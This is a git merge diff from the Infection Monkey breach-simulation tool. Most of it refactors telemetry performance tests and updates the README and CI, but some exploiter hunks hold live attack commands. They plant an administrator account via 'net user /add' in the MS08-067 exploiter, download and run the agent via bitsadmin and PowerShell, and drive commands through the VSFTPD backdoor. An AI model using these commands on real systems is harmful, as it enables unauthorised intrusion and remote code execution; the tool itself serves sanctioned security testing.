Merge branch 'monkey_telemetry_fabrication' into zt_performance_fixes

# Conflicts:
#	envs/monkey_zoo/blackbox/test_blackbox.py
#	monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
This commit is contained in:
VakarisZ 2020-05-11 16:42:53 +03:00
commit 08f46a8ac9
140 changed files with 11293 additions and 7535 deletions

BIN
.github/attack-report.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 198 KiB

BIN
.github/map-full.png vendored

Binary file not shown.

Before

Width:  |  Height:  |  Size: 80 KiB

After

Width:  |  Height:  |  Size: 162 KiB

BIN
.github/security-report.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

BIN
.github/zero-trust-report.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 194 KiB

2
.gitignore vendored
View File

@ -83,7 +83,7 @@ MonkeyZoo/*
!MonkeyZoo/MonkeyZooDocs.pdf !MonkeyZoo/MonkeyZooDocs.pdf
# Exported monkey telemetries # Exported monkey telemetries
/monkey/test_telems/ /monkey/telem_sample/
# vim swap files # vim swap files
*.swp *.swp

3
.gitmodules vendored
View File

@ -1,3 +1,4 @@
[submodule "monkey/monkey_island/cc/services/attack/attack_data"] [submodule "monkey/monkey_island/cc/services/attack/attack_data"]
path = monkey/monkey_island/cc/services/attack/attack_data path = monkey/monkey_island/cc/services/attack/attack_data
url = https://github.com/mitre/cti url = https://github.com/guardicore/cti

View File

@ -36,7 +36,7 @@ script:
## Display the linter issues ## Display the linter issues
- cat flake8_warnings.txt - cat flake8_warnings.txt
## Make sure that we haven't increased the amount of warnings. ## Make sure that we haven't increased the amount of warnings.
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=190 - PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi - if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
## Run unit tests ## Run unit tests
@ -53,7 +53,7 @@ script:
- cd - - cd -
- cd monkey_island/cc/ui - cd monkey_island/cc/ui
- eslint ./src --quiet - eslint ./src --quiet
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=37 - JS_WARNINGS_AMOUNT_UPPER_LIMIT=490
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT - eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT
after_success: after_success:

View File

@ -13,10 +13,6 @@ Welcome to the Infection Monkey!
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server. The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
<img src=".github/map-full.png" >
<img src=".github/Security-overview.png" width="800" height="500">
The Infection Monkey is comprised of two parts: The Infection Monkey is comprised of two parts:
* **Monkey** - A tool which infects other machines and propagates to them. * **Monkey** - A tool which infects other machines and propagates to them.
@ -24,6 +20,20 @@ The Infection Monkey is comprised of two parts:
To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com).
## Screenshots
### Map
<img src=".github/map-full.png" width="800" height="600">
### Security report
<img src=".github/security-report.png" width="800" height="500">
### Zero trust report
<img src=".github/zero-trust-report.png" width="800" height="500">
### ATT&CK report
<img src=".github/attack-report.png" width="900" height="500">
## Main Features ## Main Features
The Infection Monkey uses the following techniques and exploits to propagate to other machines. The Infection Monkey uses the following techniques and exploits to propagate to other machines.
@ -40,6 +50,8 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Conficker * Conficker
* SambaCry * SambaCry
* Elastic Search (CVE-2015-1427) * Elastic Search (CVE-2015-1427)
* Weblogic server
* and more
## Setup ## Setup
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).

View File

@ -2,7 +2,7 @@ FROM debian:stretch-slim
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>" LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
ARG RELEASE=1.6 ARG RELEASE=1.8.0
ARG DEBIAN_FRONTEND=noninteractive ARG DEBIAN_FRONTEND=noninteractive
EXPOSE 5000 EXPOSE 5000

View File

@ -1,2 +1,2 @@
logs/ logs/
/blackbox/tests/performance/test_telems/* /blackbox/tests/performance/telem_sample

View File

@ -24,13 +24,14 @@ To run telemetry performance test follow these steps:
1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have 1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have
exported telemetries already. exported telemetries already.
2. Run monkey and wait until infection is done. 2. Run monkey and wait until infection is done.
3. All telemetries are gathered in `monkey/test_telems` 3. All telemetries are gathered in `monkey/telem_sample`
2. Run telemetry performance test. 2. Run telemetry performance test.
1. Move directory `monkey/test_telems` to `envs/monkey_zoo/blackbox/tests/performance/test_telems` 1. Move directory `monkey/test_telems` to `envs/monkey_zoo/blackbox/tests/performance/test_telems`
2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply 2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply
telemetries gathered. telemetries gathered.
1. Run `telem_parser.py` scrip with working directory set to `monkey\envs\monkey_zoo\blackbox` 1. Run `telem_parser.py` script with working directory set to `monkey\envs\monkey_zoo\blackbox`
2. Pass integer to indicate the multiplier. For example running `telem_parser.py 4` will replicate 2. Pass integer to indicate the multiplier. For example running `telem_parser.py 4` will replicate
telemetries 4 times. telemetries 4 times.
3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuraion. 3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuraion.
3. Run blackbox tests, telemetry performance test will run as part of it. 3. Performance test will run as part of BlackBox tests or you can run it separately by adding
`-k 'test_telem_performance'` option.

View File

@ -1,4 +1,5 @@
import json import json
import logging import logging
from time import sleep from time import sleep

View File

@ -1,8 +1,8 @@
import logging
import os import os
from time import sleep import logging
import pytest import pytest
from time import sleep
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
@ -29,12 +29,11 @@ LOGGER = logging.getLogger(__name__)
@pytest.fixture(autouse=True, scope='session') @pytest.fixture(autouse=True, scope='session')
def GCPHandler(request): def GCPHandler(request):
GCPHandler = gcp_machine_handlers.GCPHandler() GCPHandler = gcp_machine_handlers.GCPHandler()
#GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
#wait_machine_bootup() wait_machine_bootup()
def fin(): def fin():
#GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST)) GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
pass
request.addfinalizer(fin) request.addfinalizer(fin)
@ -52,7 +51,7 @@ def wait_machine_bootup():
@pytest.fixture(scope='class') @pytest.fixture(scope='class')
def island_client(island): def island_client(island):
island_client_object = MonkeyIslandClient(island) island_client_object = MonkeyIslandClient(island)
# island_client_object.reset_env() island_client_object.reset_env()
yield island_client_object yield island_client_object

View File

@ -0,0 +1,43 @@
import json
import logging
from os import listdir, path
from typing import List, Dict
from tqdm import tqdm
TELEM_DIR_PATH = './tests/performance/telem_sample'
MAX_SAME_TYPE_TELEM_FILES = 10000
LOGGER = logging.getLogger(__name__)
class SampleFileParser:
@staticmethod
def save_teletries_to_files(telems: List[Dict]):
for telem in (tqdm(telems, desc="Telemetries saved to files", position=3)):
SampleFileParser.save_telemetry_to_file(telem)
@staticmethod
def save_telemetry_to_file(telem: Dict):
telem_filename = telem['name'] + telem['method']
for i in range(MAX_SAME_TYPE_TELEM_FILES):
if not path.exists(path.join(TELEM_DIR_PATH, (str(i) + telem_filename))):
telem_filename = str(i) + telem_filename
break
with open(path.join(TELEM_DIR_PATH, telem_filename), 'w') as file:
file.write(json.dumps(telem))
@staticmethod
def read_telem_files() -> List[str]:
telems = []
file_paths = [path.join(TELEM_DIR_PATH, f) for f in listdir(TELEM_DIR_PATH)
if path.isfile(path.join(TELEM_DIR_PATH, f))]
for file_path in file_paths:
with open(file_path, 'r') as telem_file:
telem_string = "".join(telem_file.readlines()).replace("\n", "")
telems.append(telem_string)
return telems
@staticmethod
def get_all_telemetries() -> List[Dict]:
return [json.loads(t) for t in SampleFileParser.read_telem_files()]

View File

@ -0,0 +1,25 @@
from typing import List
class FakeIpGenerator:
def __init__(self):
self.fake_ip_parts = [1, 1, 1, 1]
def generate_fake_ips_for_real_ips(self, real_ips: List[str]) -> List[str]:
fake_ips = []
for i in range(len(real_ips)):
fake_ips.append('.'.join(str(part) for part in self.fake_ip_parts))
self.increment_ip()
return fake_ips
def increment_ip(self):
self.fake_ip_parts[3] += 1
self.try_fix_ip_range()
def try_fix_ip_range(self):
for i in range(len(self.fake_ip_parts)):
if self.fake_ip_parts[i] > 256:
if i-1 < 0:
raise Exception("Fake IP's out of range.")
self.fake_ip_parts[i-1] += 1
self.fake_ip_parts[i] = 1

View File

@ -1,6 +1,7 @@
import random import random
from envs.monkey_zoo.blackbox.tests.performance.utils.fake_ip_generator import FakeIpGenerator from envs.monkey_zoo.blackbox.tests.performance.\
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
class FakeMonkey: class FakeMonkey:

View File

@ -2,35 +2,37 @@ import copy
import json import json
import logging import logging
import sys import sys
from os import listdir, path
from typing import List, Dict from typing import List, Dict
from tqdm import tqdm from tqdm import tqdm
from envs.monkey_zoo.blackbox.tests.performance.utils.fake_ip_generator import FakeIpGenerator from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser
from envs.monkey_zoo.blackbox.tests.performance.utils.fake_monkey import FakeMonkey from envs.monkey_zoo.blackbox.tests.performance.\
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import FakeMonkey
TELEM_DIR_PATH = './tests/performance/test_telems' TELEM_DIR_PATH = './tests/performance/telemetry_sample'
LOGGER = logging.getLogger(__name__) LOGGER = logging.getLogger(__name__)
class TelemParser: class SampleMultiplier:
def __init__(self, multiplier: int): def __init__(self, multiplier: int):
self.multiplier = multiplier self.multiplier = multiplier
self.fake_ip_generator = FakeIpGenerator() self.fake_ip_generator = FakeIpGenerator()
def multiply_telems(self): def multiply_telems(self):
telems = TelemParser.get_all_telemetries() telems = SampleFileParser.get_all_telemetries()
telem_contents = [json.loads(telem['content']) for telem in telems] telem_contents = [json.loads(telem['content']) for telem in telems]
monkeys = self.get_monkeys_from_telems(telem_contents) monkeys = self.get_monkeys_from_telems(telem_contents)
for i in tqdm(range(self.multiplier), desc="Batch of fabricated telemetries", position=1): for i in tqdm(range(self.multiplier), desc="Batch of fabricated telemetries", position=1):
for monkey in monkeys: for monkey in monkeys:
monkey.change_fake_data() monkey.change_fake_data()
fake_telem_batch = copy.deepcopy(telems) fake_telem_batch = copy.deepcopy(telems)
TelemParser.fabricate_monkeys_in_telems(fake_telem_batch, monkeys) SampleMultiplier.fabricate_monkeys_in_telems(fake_telem_batch, monkeys)
TelemParser.offset_telem_times(iteration=i, telems=fake_telem_batch) SampleMultiplier.offset_telem_times(iteration=i, telems=fake_telem_batch)
TelemParser.save_teletries_to_files(fake_telem_batch) SampleFileParser.save_teletries_to_files(fake_telem_batch)
LOGGER.info("")
@staticmethod @staticmethod
def fabricate_monkeys_in_telems(telems: List[Dict], monkeys: List[FakeMonkey]): def fabricate_monkeys_in_telems(telems: List[Dict], monkeys: List[FakeMonkey]):
@ -38,7 +40,8 @@ class TelemParser:
for monkey in monkeys: for monkey in monkeys:
if monkey.on_island: if monkey.on_island:
continue continue
if (monkey.original_guid in telem['content'] or monkey.original_guid in telem['endpoint']) and not monkey.on_island: if (monkey.original_guid in telem['content'] or monkey.original_guid in telem['endpoint']) \
and not monkey.on_island:
telem['content'] = telem['content'].replace(monkey.original_guid, monkey.fake_guid) telem['content'] = telem['content'].replace(monkey.original_guid, monkey.fake_guid)
telem['endpoint'] = telem['endpoint'].replace(monkey.original_guid, monkey.fake_guid) telem['endpoint'] = telem['endpoint'].replace(monkey.original_guid, monkey.fake_guid)
for i in range(len(monkey.original_ips)): for i in range(len(monkey.original_ips)):
@ -49,39 +52,11 @@ class TelemParser:
for telem in telems: for telem in telems:
telem['time']['$date'] += iteration * 1000 telem['time']['$date'] += iteration * 1000
@staticmethod
def save_teletries_to_files(telems: List[Dict]):
for telem in (tqdm(telems, desc="Telemetries saved to files", position=3)):
TelemParser.save_telemetry_to_file(telem)
@staticmethod
def save_telemetry_to_file(telem: Dict):
telem_filename = telem['name'] + telem['method']
for i in range(10000):
if not path.exists(path.join(TELEM_DIR_PATH, (str(i) + telem_filename))):
telem_filename = str(i) + telem_filename
break
with open(path.join(TELEM_DIR_PATH, telem_filename), 'w') as file:
file.write(json.dumps(telem))
@staticmethod
def read_telem_files() -> List[str]:
telems = []
file_paths = [path.join(TELEM_DIR_PATH, f) for f in listdir(TELEM_DIR_PATH)
if path.isfile(path.join(TELEM_DIR_PATH, f))]
for file_path in file_paths:
with open(file_path, 'r') as telem_file:
telems.append(telem_file.readline())
return telems
@staticmethod
def get_all_telemetries() -> List[Dict]:
return [json.loads(t) for t in TelemParser.read_telem_files()]
def get_monkeys_from_telems(self, telems: List[Dict]): def get_monkeys_from_telems(self, telems: List[Dict]):
island_ips = TelemParser.get_island_ips_from_telems(telems) island_ips = SampleMultiplier.get_island_ips_from_telems(telems)
monkeys = [] monkeys = []
for telem in [telem for telem in telems if 'telem_category' in telem and telem['telem_category'] == 'system_info']: for telem in [telem for telem in telems
if 'telem_category' in telem and telem['telem_category'] == 'system_info']:
if 'network_info' not in telem['data']: if 'network_info' not in telem['data']:
continue continue
guid = telem['monkey_guid'] guid = telem['monkey_guid']
@ -111,4 +86,4 @@ class TelemParser:
if __name__ == "__main__": if __name__ == "__main__":
TelemParser(multiplier=int(sys.argv[1])).multiply_telems() SampleMultiplier(multiplier=int(sys.argv[1])).multiply_telems()

View File

@ -0,0 +1,19 @@
from unittest import TestCase
from envs.monkey_zoo.blackbox.tests.performance.\
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
class TestFakeIpGenerator(TestCase):
def test_fake_ip_generation(self):
fake_ip_gen = FakeIpGenerator()
self.assertListEqual([1, 1, 1, 1], fake_ip_gen.fake_ip_parts)
for i in range(256):
fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1'])
self.assertListEqual(['1.1.2.1'], fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']))
fake_ip_gen.fake_ip_parts = [256, 256, 255, 256]
self.assertListEqual(['256.256.255.256', '256.256.256.1'],
fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1', '1.1.1.2']))
fake_ip_gen.fake_ip_parts = [256, 256, 256, 256]
self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']))

View File

@ -8,7 +8,7 @@ from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceA
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
from envs.monkey_zoo.blackbox.tests.performance.utils.telem_parser import TelemParser from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser
LOGGER = logging.getLogger(__name__) LOGGER = logging.getLogger(__name__)
@ -24,7 +24,7 @@ class TelemetryPerformanceTest:
def test_telemetry_performance(self): def test_telemetry_performance(self):
LOGGER.info("Starting telemetry performance test.") LOGGER.info("Starting telemetry performance test.")
try: try:
all_telemetries = TelemParser.get_all_telemetries() all_telemetries = SampleFileParser.get_all_telemetries()
except FileNotFoundError: except FileNotFoundError:
LOGGER.error("Telemetries to send not found. Refer to readme to figure out how to generate telemetries " LOGGER.error("Telemetries to send not found. Refer to readme to figure out how to generate telemetries "
"and where to put them.") "and where to put them.")

View File

@ -1,11 +0,0 @@
class FakeIpGenerator:
def __init__(self):
self.fake_ip_parts = [1, 1, 1, 1]
def generate_fake_ips_for_real_ips(self, real_ips):
self.fake_ip_parts[2] += 1
fake_ips = []
for i in range(len(real_ips)):
fake_ips.append('.'.join(str(part) for part in self.fake_ip_parts))
self.fake_ip_parts[3] += 1
return fake_ips

View File

@ -57,6 +57,3 @@ class TestOSCompatibility(object):
if len(ips_that_communicated) < len(machine_list): if len(ips_that_communicated) < len(machine_list):
assert False assert False

View File

@ -4,7 +4,7 @@ from pathlib import Path
MAJOR = "1" MAJOR = "1"
MINOR = "8" MINOR = "8"
PATCH = "0" PATCH = "1"
build_file_path = Path(__file__).parent.joinpath("BUILD") build_file_path = Path(__file__).parent.joinpath("BUILD")
with open(build_file_path, "r") as build_file: with open(build_file_path, "r") as build_file:
BUILD = build_file.read() BUILD = build_file.read()

View File

@ -129,7 +129,7 @@ class VSFTPDExploiter(HostExploiter):
change_permission = str.encode(str(change_permission) + '\n') change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission) LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission) backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission, self.host).send() T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
# Run monkey on the machine # Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
@ -143,7 +143,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey): if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey) self.host, run_monkey)
self.add_executed_cmd(run_monkey) self.add_executed_cmd(run_monkey.decode())
return True return True
else: else:
return False return False

View File

@ -4,7 +4,6 @@ import time
import copy import copy
from requests import post, exceptions from requests import post, exceptions
from http.server import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter

View File

@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user {} {} /add) &&" sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format( " (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add, self._config.user_to_add,
self._config.remote_user_pass, self._config.remote_user_pass,
self._config.user_to_add).encode()) self._config.user_to_add).encode())
time.sleep(2) time.sleep(2)
reply = sock.recv(1000) reply = sock.recv(1000)

View File

@ -14,10 +14,10 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \
'/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) '&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \
'file_path)s exit)) > NUL 2>&1 ' 'if not exist %(file_path)s exit)) > NUL 2>&1 '
# Commands used for downloading monkeys # Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \ POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \

View File

@ -51,18 +51,15 @@ if is_windows_os():
local_hostname = socket.gethostname() local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2] return socket.gethostbyname_ex(local_hostname)[2]
def get_routes(): def get_routes():
raise NotImplementedError() raise NotImplementedError()
else: else:
from fcntl import ioctl from fcntl import ioctl
def local_ips(): def local_ips():
valid_ips = [network['addr'] for network in get_host_subnets()] valid_ips = [network['addr'] for network in get_host_subnets()]
return valid_ips return valid_ips
def get_routes(): # based on scapy implementation for route parsing def get_routes(): # based on scapy implementation for route parsing
try: try:
f = open("/proc/net/route", "r") f = open("/proc/net/route", "r")

View File

@ -7,7 +7,6 @@ import sys
import infection_monkey.config import infection_monkey.config
from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.HostFinger import HostFinger
from infection_monkey.network.HostScanner import HostScanner from infection_monkey.network.HostScanner import HostScanner
from infection_monkey.model.host import VictimHost
__author__ = 'itamar' __author__ = 'itamar'

View File

@ -9,7 +9,11 @@ git+https://github.com/guardicore/pyinstaller
ecdsa ecdsa
netifaces netifaces
ipaddress ipaddress
wmi # Locking WMI since version 1.5 introduced breaking change on Linux agent compilation.
# See breaking change here: https://github.com/tjguk/wmi/commit/dcf8e3eca79bb8c0101ffb83e25c066b0ba9e16d
# Causes pip to error with:
# Could not find a version that satisfies the requirement pywin32 (from wmi->-r /src/infection_monkey/requirements.txt (line 12)) (from versions: none)
wmi==1.4.9
pywin32 ; sys_platform == 'win32' pywin32 ; sys_platform == 'win32'
pymssql<3.0 pymssql<3.0
pyftpdlib pyftpdlib

View File

@ -1,5 +1,4 @@
import logging import logging
import socket
import sys import sys
import psutil import psutil

View File

@ -17,12 +17,16 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
def __init__(self): def __init__(self):
pass pass
def send(self): def send(self, log_data=True):
""" """
Sends telemetry to island Sends telemetry to island
""" """
data = self.get_data() data = self.get_data()
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data))) if log_data:
data_to_log = json.dumps(data)
else:
data_to_log = 'redacted'
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, data_to_log))
ControlClient.send_telemetry(self.telem_category, data) ControlClient.send_telemetry(self.telem_category, data)
@property @property

View File

@ -17,3 +17,6 @@ class SystemInfoTelem(BaseTelem):
def get_data(self): def get_data(self):
return self.system_info return self.system_info
def send(self, log_data=False):
super(SystemInfoTelem, self).send(log_data)

View File

@ -1,3 +1 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer'

View File

@ -73,7 +73,6 @@ class AutoNewWindowsUser(AutoNewUser):
def run_as(self, command): def run_as(self, command):
# Importing these only on windows, as they won't exist on linux. # Importing these only on windows, as they won't exist on linux.
import win32con
import win32process import win32process
import win32api import win32api
import win32event import win32event

View File

@ -46,4 +46,3 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
@staticmethod @staticmethod
def get_bootloader_resource_url(server_ip): def get_bootloader_resource_url(server_ip):
return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/" return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/"

View File

@ -1,7 +1,7 @@
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod
from datetime import timedelta from datetime import timedelta
import os import os
from Crypto.Hash import SHA3_512 import hashlib
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -45,10 +45,11 @@ class Environment(object, metaclass=ABCMeta):
def get_auth_expiration_time(self): def get_auth_expiration_time(self):
return self._AUTH_EXPIRATION_TIME return self._AUTH_EXPIRATION_TIME
def hash_secret(self, secret): @staticmethod
h = SHA3_512.new() def hash_secret(secret):
h.update(secret) hash_obj = hashlib.sha3_512()
return h.hexdigest() hash_obj.update(secret.encode('utf-8'))
return hash_obj.hexdigest()
def get_deployment(self): def get_deployment(self):
return self._get_from_config('deployment', 'unknown') return self._get_from_config('deployment', 'unknown')

View File

@ -0,0 +1,25 @@
from monkey_island.cc.auth import User
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from monkey_island.cc.environment.aws import AwsEnvironment
import hashlib
class TestAwsEnvironment(IslandTestCase):
def test_get_auth_users(self):
env = AwsEnvironment()
# This is "injecting" the instance id to the env. This is the UTs aren't always executed on the same AWS machine
# (might not be an AWS machine at all).
# Perhaps it would have been more elegant to create a Mock, but not worth it for
# this small test.
env._instance_id = "i-666"
hash_obj = hashlib.sha3_512()
hash_obj.update(b"i-666")
auth_users = env.get_auth_users()
assert isinstance(auth_users, list)
assert len(auth_users) == 1
auth_user = auth_users[0]
assert isinstance(auth_user, User)
assert auth_user.id == 1
assert auth_user.username == "monkey"
assert auth_user.secret == hash_obj.hexdigest()

View File

@ -31,7 +31,7 @@ from monkey_island.cc.bootloader_server import BootloaderHttpServer
from monkey_island.cc.setup import setup from monkey_island.cc.setup import setup
def main(should_setup_only): def main(should_setup_only=False):
logger.info("Starting bootloader server") logger.info("Starting bootloader server")
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True) bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True)

View File

@ -12,9 +12,9 @@ else:
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port) connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
# Order of importing matters here, for registering the embedded and referenced documents before using them. # Order of importing matters here, for registering the embedded and referenced documents before using them.
from .config import Config from .config import Config # noqa: F401
from .creds import Creds from .creds import Creds # noqa: F401
from .monkey_ttl import MonkeyTtl from .monkey_ttl import MonkeyTtl # noqa: F401
from .pba_results import PbaResults from .pba_results import PbaResults # noqa: F401
from .command_control_channel import CommandControlChannel from .command_control_channel import CommandControlChannel # noqa: F401
from .monkey import Monkey from .monkey import Monkey # noqa: F401

View File

@ -16,4 +16,3 @@ class Mitigation(EmbeddedDocument):
description = mitigation['description'] description = mitigation['description']
url = MitreApiInterface.get_stix2_external_reference_url(mitigation) url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
return Mitigation(name=name, description=description, url=url) return Mitigation(name=name, description=description, url=url)

View File

@ -13,8 +13,8 @@ logger = logging.getLogger(__name__)
class TestMonkey(IslandTestCase): class TestMonkey(IslandTestCase):
""" """
Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and Make sure to set server environment to `testing` in server_config.json!
won't work. Otherwise this will mess up your mongo instance and won't work.
Also, the working directory needs to be the working directory from which you usually run the island so the Also, the working directory needs to be the working directory from which you usually run the island so the
server_config.json file is found and loaded. server_config.json file is found and loaded.

View File

@ -33,7 +33,8 @@ class TestFinding(IslandTestCase):
event_example = Event.create_event( event_example = Event.create_event(
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example]) Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION,
status=zero_trust_consts.STATUS_FAILED, events=[event_example])
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1) self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
